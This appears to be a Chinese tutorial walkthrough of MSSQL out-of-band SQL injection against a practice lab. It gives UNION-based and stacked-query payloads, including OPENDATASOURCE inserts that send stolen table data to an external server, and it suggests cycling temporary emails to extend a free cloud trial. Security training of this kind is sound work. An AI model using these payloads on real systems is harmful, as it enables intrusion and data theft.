无名草
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
MSSQL反弹注入原理
依靠 opendatasource 函数,把查询出的数据发送到MSSQL服务器上。
MSSQL反弹注入使用场景
用 香港云 快速搭建一个MSSQL环境
可以用 临时邮箱注册免费的试用60天。
免费60天的试用,过期了就换个邮箱。
MSSQL反弹注入常见问题
1.猜数据时为什么不能用数字
根据了MSSQL的特性,虽然不能用数字但可用null和字母填充
2.MSSQL有系统自带库吗
有 为master.dbo.sysdatabase
3.反弹注入满足的条件
能否堆叠查询,堆叠查询用;结束前一个语句,并执行下一个语句
4.为什么反弹注入开头不是select?
因为反弹注入是在我们的mssql服务器上插入我们子查询报错信息的语句,所以用insert into
5. xtype='U' 是什么?
设置查找用户建立的数据表
6.反弹注入使用情况
没有回显的注入,支持opendatasource函数
7.如何查询当前库名
select db_name()
MSSQL反弹注入语句解析
insert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --
Insert into 很明显是插入语句 然后出现了个opendatasource。
opendatasource 为了方便理解,可以看理解为 ‘使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。
语法:
OPENDATASOURCE(provider_name,init_string)
provider_name
注册为用于访问数据源的OLE DB 提供程序的PROGID的名称 MSSQL的名称为SQLOLEDB
init_string
连接字符串
连接地址、端口、用户名、密码、数据库名
server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称
连接上服务器后选定数据表DB_14A5E44_zkaq.dbo.temp 把后面语句的查询结果插入到那个表里面。
MSSQL反弹注入靶场实战
1.判断注入点
http://o9pz8015.ia.aqlab.cn/?id=1%27and%20-1=-1--%20wqe 页面正常显示
http://o9pz8015.ia.aqlab.cn/?id=1%27and%20-1=-2--%20wqe 页面非正常显示
存在SQL注入。
2. 判断当前页面字段总数
http://o9pz8015.ia.aqlab.cn/?id=1%27and%20-1=-1 order by 3--%20wqe 页面正常显示
http://o9pz8015.ia.aqlab.cn/?id=1%27and%20-1=-1 order by 4--%20wqe 页面非正常显示
当前页面字段总数为3。
3.利用MSSQL语句来进行查询
注意:MSSQL 联合查询需要使用union all,并且有严格的类型要求。
不能和Mysql数据库一样查询可以输入1,2,3,要对应类型来注入。
id=1'and -1=-1 union all select null,null,null -- qwe
id=1'and -1=-1 union all select 1,'b,'c' -- qwe
检测出数字类型 2和3为字符串类型
4.查表名
id=1'and -1=-1 union all select id ,'a',name from sysobjects where xtype='U' -- qwe
得到news表,admin表和dtproperties表。
select name from sysobjects where xtype='U';
xtype='U' ====》代表用户创建的表;
xtype='S' ====》代表系统自带的表。
5.查列名
记住我们需要的表对应的id值:1977058079;
用 syscolumns 来查看admin表里的字段。
id=1'and -1=-1 union all select id ,'a',name from syscolumns where id =1977058079 -- qwe
6.查字段内容(得到FALG)
id=1'and -1=-1 union all select id ,'a',token from admin-- qwe
7.反弹注入获取FALG
反弹注入条件需要满足 能堆叠查询。
堆叠注入: 在注入的时候可以用; (;代表语句的结束)
判断能否使用堆叠注入:
id=1';select 123-- qwe 页面显示正常,能使用堆叠注入
插入数据:
id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC2E5_wlb_admin;pwd=123456789;database=DB_14DC2E5_wlb').DB_14DC2E5_wlb.dbo.teener select table_name from information_schema.tables-- qwe 页面显示正常,插入数据成功。
查询数据:
';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC2E5_wlb_admin;pwd=123456789;database=DB_14DC2E5_wlb').DB_14DC2E5_wlb.dbo.teener select token from admin-- qwe
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
